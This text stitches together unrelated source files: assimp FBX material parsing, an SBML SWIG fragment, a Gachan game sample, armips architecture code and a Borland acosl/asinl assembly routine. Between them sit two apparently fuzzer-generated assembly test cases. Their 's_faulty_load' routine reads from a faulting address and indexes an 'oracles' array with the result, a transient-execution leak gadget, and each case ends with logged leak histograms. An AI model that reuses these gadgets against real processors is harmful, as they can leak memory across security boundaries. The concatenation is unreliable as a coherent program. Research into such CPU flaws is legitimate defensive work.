True}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 3, 'size': 8, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': True, 'congruent': 0, 'size': 16, 'same': True, 'NT': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 10, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 5, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 6, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 8, 'size': 8, 'same': False, 'NT': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 3, 'size': 2, 'same': False, 'NT': False}} {'47': 11, 'ff': 1, '00': 9254, '49': 11405, '48': 7, '44': 1151} 00 00 00 49 49 49 00 49 49 00 49 49 00 49 49 00 49 49 00 49 44 00 49 00 49 49 00 49 49 00 00 49 44 49 49 00 49 44 00 49 00 49 49 00 49 00 49 49 00 49 00 00 49 00 49 49 00 49 49 44 00 49 00 49 44 00 49 00 00 49 49 00 49 00 49 49 44 00 49 44 00 49 00 49 49 44 00 49 00 00 49 00 49 00 49 49 49 00 49 44 00 49 00 00 49 00 00 49 00 00 49 00 00 49 49 00 49 00 00 49 00 00 49 00 49 49 00 49 49 00 49 49 00 49 00 49 49 49 00 49 49 00 49 49 00 49 44 00 49 49 00 49 00 49 49 00 49 44 00 49 44 00 49 49 44 49 49 00 49 49 00 00 49 00 49 00 49 49 00 00 49 49 00 49 44 00 49 44 00 49 44 49 49 00 49 00 49 49 00 49 49 00 00 49 00 00 49 00 00 49 44 00 49 49 49 00 49 49 00 49 49 49 49 00 49 49 00 00 49 00 00 49 44 00 49 00 00 49 00 49 49 00 49 44 00 49 44 00 49 44 00 49 00 49 49 00 49 44 00 49 00 49 49 00 49 49 00 49 00 49 49 00 00 49 00 00 49 00 00 49 00 49 49 00 49 49 00 49 44 00 49 44 49 49 49 49 00 49 49 00 00 49 00 49 00 00 49 00 49 00 49 49 00 49 49 00 49 00 00 49 00 49 49 44 00 49 44 00 49 49 00 49 00 00 49 00 49 00 49 49 00 00 49 00 49 00 00 49 00 49 49 00 49 49 49 44 00 49 00 49 49 00 49 44 49 49 49 00 49 44 00 49 00 00 49 49 00 49 49 00 49 49 00 49 49 00 49 49 00 49 49 00 00 49 49 44 00 49 44 00 49 00 49 49 00 49 44 49 49 00 49 49 00 49 49 00 49 49 00 49 49 00 49 49 00 49 49 00 49 44 00 49 49 00 49 00 00 49 49 00 49 49 00 00 49 00 00 49 00 49 00 00 49 44 00 49 49 00 49 49 00 49 00 49 49 00 49 49 00 00 49 00 49 49 00 00 49 00 00 49 44 00 49 49 00 49 00 00 49 00 49 00 49 49 00 49 00 49 49 00 49 49 00 49 49 49 00 49 49 00 49 49 00 49 00 49 00 49 49 00 49 00 49 49 00 49 00 00 49 49 49 49 49 00 49 00 49 49 00 49 00 49 49 00 49 00 49 49 00 49 49 00 00 49 00 49 49 00 49 49 00 49 49 00 00 49 49 00 49 44 00 49 00 49 49 49 44 00 49 49 00 49 44 00 49 49 00 49 00 00 49 44 00 49 00 49 00 00 49 49 49 00 49 49 00 49 49 00 49 49 00 00 49 44 00 49 44 49 49 00 49 49 00 49 49 00 49 00 49 49 00 49 49 00 49 44 00 49 00 00 49 44 00 49 44 00 49 49 00 49 49 00 49 44 00 49 44 49 49 44 49 49 49 00 49 44 00 49 00 49 49 00 49 00 49 49 00 49 00 49 49 00 00 49 00 49 49 00 49 49 00 49 00 49 00 00 49 00 49 49 00 49 49 00 49 00 00 49 00 00 49 00 49 49 00 49 00 49 49 00 49 49 00 00 49 00 49 49 00 49 00 00 49 00 49 49 00 49 49 00 49 49 00 49 00 00 49 49 49 00 00 49 00 00 49 00 49 49 00 00 49 00 49 49 00 49 00 00 49 00 49 49 00 00 49 00 49 49 00 49 44 00 49 00 49 49 00 49 00 49 00 49 49 00 49 44 00 49 00 49 49 00 00 49 44 00 49 00 49 49 00 49 00 49 49 00 49 49 00 00 49 44 00 49 44 00 49 00 49 49 00 00 49 44 00 49 00 00 49 00 49 00 00 49 44 00 49 00 49 49 49 44 00 49 00 49 00 00 49 49 00 49 49 00 00 49 00 49 49 00 49 49 00 49 00 00 49 00 49 44 00 49 00 49 49 00 49 49 00 49 49 00 49 00 49 00 00 49 00 49 49 00 00 49 00 49 00 49 49 00 49 49 00 49 44 00 49 00 49 44 00 00 49 00 49 49 00 49 49 00 00 49 44 49 44 00 49 00 49 49 00 00 49 00 49 49 00 00 44 00 49 00 49 49 00 49 00 00 49 00 00 49 00 00 00 00 49 00 00 49 00 49 00 00 49 00 49 49 00 49 49 00 00 49 49 00 49 00 00 49 00 49 49 49 49 00 49 00 49 49 */
#ifdef USE_GROUPS else if (pkgName == "groups") { switch (sb->getTypeCode()) { case SBML_LIST_OF: name = sb->getElementName(); if(name == "listOfMembers"){ return SWIGTYPE_p_ListOfMembers; } else if (name == "listOfMemberConstraints") { return SWIGTYPE_p_ListOfMemberConstraints; } else if(name == "listOfGroups"){ return SWIGTYPE_p_ListOfGroups; } return SWIGTYPE_p_ListOf; case SBML_GROUPS_MEMBER: return SWIGTYPE_p_Member; case SBML_GROUPS_MEMBER_CONSTRAINT: return SWIGTYPE_p_MemberConstraint; case SBML_GROUPS_GROUP: return SWIGTYPE_p_Group; default: return SWIGTYPE_p_SBase; } } #endif // USE_GROUPS
/* Open Asset Import Library (assimp) ---------------------------------------------------------------------- Copyright (c) 2006-2012, assimp team All rights reserved. Redistribution and use of this software in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the assimp team, nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission of the assimp team. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ---------------------------------------------------------------------- */ /** @file FBXMaterial.cpp * @brief Assimp::FBX::Material and Assimp::FBX::Texture implementation */ #include "AssimpPCH.h" #ifndef ASSIMP_BUILD_NO_FBX_IMPORTER #include "FBXParser.h" #include "FBXDocument.h" #include "FBXImporter.h" #include "FBXImportSettings.h" #include "FBXDocumentUtil.h" #include "FBXProperties.h" namespace Assimp { namespace FBX { using namespace Util; // ------------------------------------------------------------------------------------------------ Material::Material(uint64_t id, const Element& element, const Document& doc, const std::string& name) : Object(id,element,name) { const Scope& sc = GetRequiredScope(element); const Element* const ShadingModel = sc["ShadingModel"]; const Element* const MultiLayer = sc["MultiLayer"]; if(MultiLayer) { multilayer = !!ParseTokenAsInt(GetRequiredToken(*MultiLayer,0)); } if(ShadingModel) { shading = ParseTokenAsString(GetRequiredToken(*ShadingModel,0)); } else { DOMWarning("shading mode not specified, assuming phong",&element); shading = "phong"; } std::string templateName; const char* const sh = shading.c_str(); if(!strcmp(sh,"phong")) { templateName = "Material.FbxSurfacePhong"; } else if(!strcmp(sh,"lambert")) { templateName = "Material.FbxSurfaceLambert"; } else { DOMWarning("shading mode not recognized: " + shading,&element); } props = GetPropertyTable(doc,templateName,element,sc); // resolve texture links const std::vector<const Connection*>& conns = doc.GetConnectionsByDestinationSequenced(ID()); BOOST_FOREACH(const Connection* con, conns) { // texture link to properties, not objects if (!con->PropertyName().length()) { continue; } const Object* const ob = con->SourceObject(); if(!ob) { DOMWarning("failed to read source object for texture link, ignoring",&element); continue; } const Texture* const tex = dynamic_cast<const Texture*>(ob); if(!tex) { const LayeredTexture* const layeredTexture = dynamic_cast<const LayeredTexture*>(ob); if(!layeredTexture) { DOMWarning("source object for texture link is not a texture or layered texture, ignoring",&element); continue; } const std::string& prop = con->PropertyName(); if (layeredTextures.find(prop) != layeredTextures.end()) { DOMWarning("duplicate layered texture link: " + prop,&element); } layeredTextures[prop] = layeredTexture; ((LayeredTexture*)layeredTexture)->fillTexture(doc); } else { const std::string& prop = con->PropertyName(); if (textures.find(prop) != textures.end()) { DOMWarning("duplicate texture link: " + prop,&element); } textures[prop] = tex; } } } // ------------------------------------------------------------------------------------------------ Material::~Material() { } // ------------------------------------------------------------------------------------------------ Texture::Texture(uint64_t id, const Element& element, const Document& doc, const std::string& name) : Object(id,element,name) , uvScaling(1.0f,1.0f) { const Scope& sc = GetRequiredScope(element); const Element* const Type = sc["Type"]; const Element* const FileName = sc["FileName"]; const Element* const RelativeFilename = sc["RelativeFilename"]; const Element* const ModelUVTranslation = sc["ModelUVTranslation"]; const Element* const ModelUVScaling = sc["ModelUVScaling"]; const Element* const Texture_Alpha_Source = sc["Texture_Alpha_Source"]; const Element* const Cropping = sc["Cropping"]; if(Type) { type = ParseTokenAsString(GetRequiredToken(*Type,0)); } if(FileName) { fileName = ParseTokenAsString(GetRequiredToken(*FileName,0)); } if(RelativeFilename) { relativeFileName = ParseTokenAsString(GetRequiredToken(*RelativeFilename,0)); } if(ModelUVTranslation) { uvTrans = aiVector2D(ParseTokenAsFloat(GetRequiredToken(*ModelUVTranslation,0)), ParseTokenAsFloat(GetRequiredToken(*ModelUVTranslation,1)) ); } if(ModelUVScaling) { uvScaling = aiVector2D(ParseTokenAsFloat(GetRequiredToken(*ModelUVScaling,0)), ParseTokenAsFloat(GetRequiredToken(*ModelUVScaling,1)) ); } if(Cropping) { crop[0] = ParseTokenAsInt(GetRequiredToken(*Cropping,0)); crop[1] = ParseTokenAsInt(GetRequiredToken(*Cropping,1)); crop[2] = ParseTokenAsInt(GetRequiredToken(*Cropping,2)); crop[3] = ParseTokenAsInt(GetRequiredToken(*Cropping,3)); } else { // vc8 doesn't support the crop() syntax in initialization lists // (and vc9 WARNS about the new (i.e. compliant) behaviour). crop[0] = crop[1] = crop[2] = crop[3] = 0; } if(Texture_Alpha_Source) { alphaSource = ParseTokenAsString(GetRequiredToken(*Texture_Alpha_Source,0)); } props = GetPropertyTable(doc,"Texture.FbxFileTexture",element,sc); } Texture::~Texture() { } LayeredTexture::LayeredTexture(uint64_t id, const Element& element, const Document& /*doc*/, const std::string& name) : Object(id,element,name) ,texture(0) ,blendMode(BlendMode_Modulate) ,alpha(1) { const Scope& sc = GetRequiredScope(element); const Element* const BlendModes = sc["BlendModes"]; const Element* const Alphas = sc["Alphas"]; if(BlendModes!=0) { blendMode = (BlendMode)ParseTokenAsInt(GetRequiredToken(*BlendModes,0)); } if(Alphas!=0) { alpha = ParseTokenAsFloat(GetRequiredToken(*Alphas,0)); } } LayeredTexture::~LayeredTexture() { } void LayeredTexture::fillTexture(const Document& doc) { const std::vector<const Connection*>& conns = doc.GetConnectionsByDestinationSequenced(ID()); for(size_t i = 0; i < conns.size();++i) { const Connection* con = conns.at(i); const Object* const ob = con->SourceObject(); if(!ob) { DOMWarning("failed to read source object for texture link, ignoring",&element); continue; } const Texture* const tex = dynamic_cast<const Texture*>(ob); texture = tex; } } } //!FBX } //!Assimp #endif
// // SampleText.cpp // UTF-8 CRLF format/形式 // // Copyright (c) 2019 Ashitagachan // See LICENSE.txt for licensing information. // #include "Gachan.h" //SampleText.cppをビルドするにはGachanNameSpace.hのNAMESPACE定義をSampleTextに置き換えてください。 //To build SampleText.cpp, Replace NAMESPACE definition at GachanNameSpace.h with SampleText. namespace SampleText { const char* TextExplanation = u8" テキストは、「GachanGameObject」を使い、\n" "SetObject(GachanGameObject::OBJECT::TEXT);\n" "でテキストオブジェクトを指定して、\n" "Draw(u8\"テキストの内容\");\n" "でテキストを描画します。\n" "描画する位置は、「GachanGameObject」を使って指示します。\n" "Text uses GachanGameObject.\n" "Specify text object as\n" "SetObject(GachanGameObject::OBJECT::TEXT);\n" "and draw with\n" "Draw(u8\"text contents\");\n" "The position to draw text is indicated using 'GachanGameObject'."; class Gachan { public: GachanGame game; GachanGameKeyboard keyboard; GachanGameCamera camera; GachanGameLightAmbient lightambient; GachanGameLightDirection lightdirection; GachanGameObject explanationtext; GachanGameObject starchan; Vec startarget; GachanGameObject startext; GachanGameObject grid; }; static Gachan* gachan; void Initialize() { GachanInitialize::Enable(GachanInitialize::FLG_TEXT_JP_HIRAKANA); GachanInitialize::Enable(GachanInitialize::FLG_TEXT_JP_KANJI1ST); } void Create() { gachan = new Gachan; gachan->game.SetBackgroundColor(0, 0.1f, 0.1f); gachan->camera.SetPosition(0, 3, -10); gachan->camera.SetTarget(0, 1, 0); gachan->camera.SetAngle(RADIAN(45)); gachan->lightambient.SetColor(0.4, 0.4, 0.4); gachan->lightdirection.SetColor(0.4, 0.4, 0.4); gachan->lightdirection.SetDirection(-0.5, -0.6, 0.7); gachan->explanationtext.Clear(); gachan->explanationtext.SetObject(GachanGameObject::OBJECT::TEXT); gachan->explanationtext.SetPosition(-5, 5, 5); gachan->explanationtext.SetColor(1, 0.5, 0.5); gachan->explanationtext.SetTextParameter(0.5, 1, 1); gachan->starchan.Clear(); gachan->starchan.SetObject(GachanGameObject::OBJECT::STARCHAN); gachan->starchan.SetColor(GachanGame::COLOR::YELLOW); gachan->startarget.Clear(); gachan->startext.Clear(); gachan->startext.SetObject(GachanGameObject::OBJECT::TEXT); gachan->startext.SetColor(GachanGame::COLOR::WHITE); gachan->startext.SetTextParameter(0.2, 1, 1); gachan->grid.Clear(); gachan->grid.SetObject(GachanGameObject::OBJECT::GRID10x10); gachan->grid.SetPosition(0, -0.5, 0); gachan->grid.SetColor(GachanGame::COLOR::WHITE); } void Update() { { if (gachan->keyboard.GetSystemKey(GachanGameKeyboard::KEY::UP)) { gachan->startarget.z += 1; gachan->starchan.SetRotation(RO_XYZ, 0, RADIAN(180), 0); } if (gachan->keyboard.GetSystemKey(GachanGameKeyboard::KEY::DOWN)) { gachan->startarget.z -= 1; gachan->starchan.SetRotation(RO_XYZ, 0, RADIAN(0), 0); } if (gachan->keyboard.GetSystemKey(GachanGameKeyboard::KEY::LEFT)) { gachan->startarget.x -= 1; gachan->starchan.SetRotation(RO_XYZ, 0, RADIAN(90), 0); } if (gachan->keyboard.GetSystemKey(GachanGameKeyboard::KEY::RIGHT)) { gachan->startarget.x += 1; gachan->starchan.SetRotation(RO_XYZ, 0, RADIAN(-90), 0); } } Vec starpos = gachan->starchan.GetPosition(); starpos += (gachan->startarget - starpos) * 0.01; gachan->starchan.SetPosition(starpos); } void Render() { gachan->camera.SetCamera(); gachan->lightambient .SetLight(); gachan->lightdirection.SetLight(); gachan->explanationtext.Draw(TextExplanation); gachan->starchan.Draw(); Vec starpos = gachan->starchan.GetPosition(); Vec startextpos = starpos; startextpos.x += 0.5f; startextpos.y += 0.5f; gachan->startext.SetPosition(startextpos); gachan->startext.Draw(u8"座標 Coordinate\n (x,y,z) = (%.2f, %.2f, %.2f)", starpos.x, starpos.y, starpos.z); gachan->grid.Draw(); } void Release() { delete gachan; } void Finalize() { } }
#include "Archs/Architecture.h" #include "Core/Common.h" #include "Core/ELF/ElfRelocator.h" #include "Core/ExpressionFunctionHandler.h" #include "Core/FileManager.h" #include "Core/Misc.h" #include "Core/SymbolData.h" CInvalidArchitecture InvalidArchitecture; Architecture *Architecture::currentArchitecture = &InvalidArchitecture; Architecture &Architecture::current() { assert(currentArchitecture); return *currentArchitecture; } void Architecture::setCurrent(Architecture &arch) { currentArchitecture = &arch; ExpressionFunctionHandler::instance().updateArchitecture(); } void Architecture::registerExpressionFunctions([[maybe_unused]] ExpressionFunctionHandler &handler) { } ArchitectureCommand::ArchitectureCommand(const std::string& tempText, const std::string& symText) { this->architecture = &Architecture::current(); this->tempText = tempText; this->symText = symText; this->endianness = Architecture::current().getEndianness(); } bool ArchitectureCommand::Validate(const ValidateState &state) { Architecture::setCurrent(*architecture); position = g_fileManager->getVirtualAddress(); g_fileManager->setEndianness(endianness); return false; } void ArchitectureCommand::Encode() const { g_fileManager->setEndianness(endianness); } void ArchitectureCommand::writeTempData(TempData& tempData) const { if (tempText.size() != 0) { std::stringstream stream(tempText); std::string line; while (std::getline(stream,line,'\n')) { if (line.size() != 0) tempData.writeLine(position,line); } } } void ArchitectureCommand::writeSymData(SymbolData& symData) const { // TODO: find a less ugly way to check for undefined memory positions if (position == -1) return; if (symText.size() != 0) symData.addLabel(position,symText); } void CInvalidArchitecture::NextSection() { Logger::printError(Logger::FatalError, "No architecture specified"); } void CInvalidArchitecture::Pass2() { Logger::printError(Logger::FatalError, "No architecture specified"); } void CInvalidArchitecture::Revalidate() { Logger::printError(Logger::FatalError, "No architecture specified"); } std::unique_ptr<IElfRelocator> CInvalidArchitecture::getElfRelocator() { Logger::printError(Logger::FatalError, "No architecture specified"); return nullptr; }
;[]-----------------------------------------------------------------[] ;| ACOSASINL.ASM -- trigonometric functions | ;[]-----------------------------------------------------------------[] ; ; C/C++ Run Time Library - Version 10.0 ; ; Copyright (c) 1991, 2000 by Inprise Corporation ; All Rights Reserved. ; ; $Revision: 9.0 $ ;---------------------------------------------------------------------- ; function(s) ; AcosAsinl - compute acosl or asinl ; acosl - trigonometric function ; asinl - trigonometric function ;---------------------------------------------------------------------- include RULES.ASI include _MATH.INC ; Segments Definitions Header@ Data_Seg@ piBy2 dw 0C235H, 02168H, 0DAA2H, 0C90FH, 03FFFH NANINVTRIGL dw 00000H, 00000H, 00000H, 0C022H, 07FFFH Data_EndS@ ;--------------------------------------------------------------------- ; ;Name AcosAsinl - compute sin or cos ; ;Usage long double AcosAsinl (char *whoS, bits16 flags, ; long double *xP); ; ;Description Computes acosl or sinl of the number pointed to by xP. ; whoS is the name of the function. flags is 0 for asinl ; and non-zero for acosl. ; ;Return value Returns acosl or asinl of xP. ; ;--------------------------------------------------------------------- Code_Seg@ ; static long double AcosAsin(char *whoS, bits15 flags, long double *xp) ; { volatile bits16 status; volatile int temp; Func@ AcosAsinl, static, _RTLENTRY, <pointer whos>,<int flags>,<pointer xP> Locals@ <word status>,<word temp> Link@ esi mov dx, flags ; DH = 0, DL = flags mov esi, xP mov cx, [esi+8] ; get sign/exponent word and BY0 ([esi+9]), 07Fh ; absolute value fld LONGDOUBLE ([esi]) shl cx, 1 rcr dh, 1 ; DH = sign bit jcxz acs_zero cmp cx, 7FFEh ; biased exponent of 1.0 jnb acs_extreme ; Use the trig identity asin (x) = atan (x / sqrt (1 - x^2)). FLD1 FLD ST(1) ; duplicate X FMUL ST(0), ST(0) ; square it FSUBP ST(1), ST ; 1 - X^2 FSQRT ; We now have tangent = ST(1)/ST. In order to use the FPATAN instruction ; we must order them so that ST(1) < ST. The special case of equality ; (angle pi/4) must be treated separately. FCOM FSTSW W0 (status) mov ah, 41h ; C3, C0 are the important bits FWAIT ; At this stage note that acos (x) = atan (sqrt (1-x^2) / x), which is ; the inverse of the tangent ratio used for asin (x). That is why ; DL, the inversion flag, started as 0FF for acos, and 0 for asin. and ah, BY1 (status) jz acs_atan add ah, ah js acs_pi_4 FXCH not dl ; remember the exchanged order acs_atan: FPATAN ; arctan (ST(1) / ST) or dl, dl ; should ratio be inverted ? jz acs_sign mov W0 (temp), -1 FILD W0 (temp) FLDPI FSCALE ; pi/2 fstp_st1 FSUBRP st(1), st ; ST = pi/2 - ST acs_sign: or dh, dh jns acs_end FCHS cmp BY0 (flags), 0FFh ; are we doing acos () ? jne acs_end FLDPI FADDP ST(1), ST jmp acs_end ; Special cases. acs_zero: mov dh, 0 ; make zero unsigned. FSTP ST(0) ; pop stack cmp BY0 (flags), 0FFh ; are we doing acos () ? je acs_resultP2 acs_resultZ: FLDZ jmp short acs_sign acs_extreme: ja acs_domain mov ax, [esi+6] ; check for an exact value +- 1.0 xor ah, 80h or ax, [esi+4] or ax, [esi+2] or ax, [esi] jnz acs_domain jmp short acs_one acs_one: FSTP ST(0) ; pop stack cmp BY0 (flags), 0FFh ; are we doing acos () ? je acs_resultZ acs_resultP2: mov W0 (temp), -1 FILD W0 (temp) FLDPI FSCALE ; pi/2 fstp_st1 jmp short acs_sign acs_pi_4: FSTP ST(0) ; pop two items off the stack FSTP ST(0) mov W0 (temp), -2 FILD W0 (temp) FLDPI FSCALE ; pi/4 fstp_st1 jmp acs_sign ; If the argument was outside [-1,+1] then it is a domain error. acs_domain: or BY0 ([esi+7]), dh ; put the sign back FSTP ST (0) ; pop x from stack ; return __matherrl (DOMAIN, whoS, xP, NULL, *((long double *) NANINVTRIGL)); ; Can't use the matherrl macro; the arguments aren't quite the same type. ExtFunc@ __matherrl, _RTLENTRY, 28 push dword ptr NANINVTRIGL[8] push dword ptr NANINVTRIGL[4] push dword ptr NANINVTRIGL push 0 ; NULL push dword ptr xP push dword ptr whoS push DOMAIN Call@ __matherrl acs_end: Unlink@ esi return@ EndFunc@ AcosAsinl ;-------------------------------------------------------------------------- ; ;Name acosl & asinl - trigonometric functions ; ;Usage long double acosl(long double x); ; long double asinl(long double x); ; ;Prototype in math.h ; ;Description asinl, acosl return the arc sine, and arc cosine, ; respectively, of the input value. Arguments to asinl and ; acosl must be in the range -1 to 1. Arguments outside that ; range will cause asinl or acosl to return 0 and set errno to: ; EDOM Domain error ; ;Return value acosl returns a value in the range 0 to pi. ; asinl returns a value in the range -pi/2 to pi/2. ; ;--------------------------------------------------------------------------- Data_Seg@ acosl_s db 'acosl', 0 asinl_s db 'asinl', 0 Data_EndS@ Func@ acosl, _EXPFUNC, _RTLENTRY, <longdouble x> ; return AcosAsinl ("acosl", 0xFF, &x); link@ lea eax, x push eax push 0ffh push offset flat: acosl_s Call@ AcosAsinl Unlink@ Return@ EndFunc@ acosl Func@ asinl, _EXPFUNC, _RTLENTRY, <longdouble x> ; return AcosAsinl ("asinl", 0x00, &x); Link@ lea eax, x push eax push 0 push offset flat: asinl_s Call@ AcosAsinl Unlink@ Return@ EndFunc@ asinl Code_EndS@ end
.global s_prepare_buffers s_prepare_buffers: push %r14 push %rax push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0xbaca, %r14 nop nop nop and %rbx, %rbx movw $0x6162, (%r14) nop nop nop nop nop and $8736, %rax lea addresses_WC_ht+0x182aa, %rcx cmp %rbp, %rbp mov $0x6162636465666768, %rax movq %rax, %xmm0 and $0xffffffffffffffc0, %rcx vmovntdq %ymm0, (%rcx) cmp $40385, %r14 lea addresses_UC_ht+0x1168a, %rsi lea addresses_D_ht+0xc0ca, %rdi nop nop and $21695, %rbx mov $9, %rcx rep movsq add %rbx, %rbx lea addresses_UC_ht+0xa222, %rdi cmp %rbp, %rbp mov $0x6162636465666768, %rdx movq %rdx, %xmm3 movups %xmm3, (%rdi) nop nop nop and $2394, %rdi lea addresses_normal_ht+0x13c4a, %rcx add $35618, %rbx mov $0x6162636465666768, %rdx movq %rdx, %xmm4 movups %xmm4, (%rcx) nop nop nop nop nop cmp %rdi, %rdi lea addresses_WT_ht+0x11c8a, %rsi lea addresses_A_ht+0x1db49, %rdi nop nop nop add $53510, %rbp mov $70, %rcx rep movsq and %rsi, %rsi lea addresses_UC_ht+0x47ae, %rbp nop nop nop nop xor %rax, %rax movb $0x61, (%rbp) nop nop nop nop and $12402, %rbx lea addresses_D_ht+0x100ea, %rdx nop cmp %r14, %r14 mov (%rdx), %rsi nop nop mfence lea addresses_D_ht+0xd186, %rsi lea addresses_UC_ht+0x1bf6a, %rdi nop cmp $56826, %rax mov $12, %rcx rep movsw nop nop nop sub $24008, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r14 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r8 push %r9 push %rbp push %rdx // Faulty Load lea addresses_A+0xaca, %r8 nop nop add $30639, %rbp mov (%r8), %r9d lea oracles, %rbp and $0xff, %r9 shlq $12, %r9 mov (%rbp,%r9,1), %r9 pop %rdx pop %rbp pop %r9 pop %r8 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': True, 'size': 1, 'type': 'addresses_A', 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 6}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_WC_ht', 'congruent': 4}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 6, 'type': 'addresses_UC_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 0}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_normal_ht', 'congruent': 6}, 'OP': 'STOR'} {'dst': {'same': False, 'congruent': 0, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_WT_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC_ht', 'congruent': 2}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_D_ht', 'congruent': 4}} {'dst': {'same': False, 'congruent': 5, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}} {'35': 21829} 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 